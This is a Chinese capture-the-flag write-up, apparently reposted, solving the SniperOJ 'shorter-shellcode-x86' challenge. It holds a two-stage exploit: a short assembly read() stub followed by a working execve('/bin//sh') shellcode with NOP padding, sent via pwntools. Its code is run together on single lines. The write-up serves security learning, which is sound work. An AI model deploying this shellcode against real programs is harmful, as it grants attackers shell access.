首页 > 代码库 > SniperOj-shorter-shellcode-x86
SniperOj-shorter-shellcode-x86
shell-storm 这里可以有一些可以用的shellcode,不过自己写才是biner的骄傲 /奋斗
0x00 不会写shellcode(和一条咸鱼有什么区别/哭)
0x01 这题目前有俩种解法
1. shellcode直接获取shell,这种解法需要较强的shellcode编写能力,因为只能输入27字节,要求shellcode1足够短
2. 先自己构造个read然后扩大读取字节,再获取shell,这样shellcode长度就不是问题了
0x02 我选择的是第二种,完全是因为自己不会写shellcode。/气哭
1.先构造read
# read_asmshellcode = asm("mov al, 0x3")shellcode += asm("add cl, 0xc")shellcode += asm("mov dl, 0xff")shellcode += asm("int 0x80")#read_more
padding = ‘\x90‘ * (13-len(shellcode))payload = shellcode + padding + p32(buf_Addr)Io.send(payload)
2.再获取shell
# system_asmshellcode1 = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f"shellcode1 += "\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"#get_shellpayload1 = ‘\x90‘ * 16 + shellcode1Io.send(payload1)
3.我犯的一个错误
#get_shellpayload1 = ‘\x90‘ * 13 + p32(buf_Addr + 13 + 4) + shellcode1Io.send(payload1)
因为之前构造的read已经把EIP指向了栈,所以第二次不需要再覆盖函数返回地址,就可以直接指向shellcode。感谢re0x6d大佬耐心指导,
SniperOj-shorter-shellcode-x86
声明:以上内容来自用户投稿及互联网公开渠道收集整理发布,本网站不拥有所有权,未作人工编辑处理,也不承担相关法律责任,若内容有误或涉及侵权可进行投诉: 投诉/举报 工作人员会在5个工作日内联系你,一经查实,本站将立刻删除涉嫌侵权内容。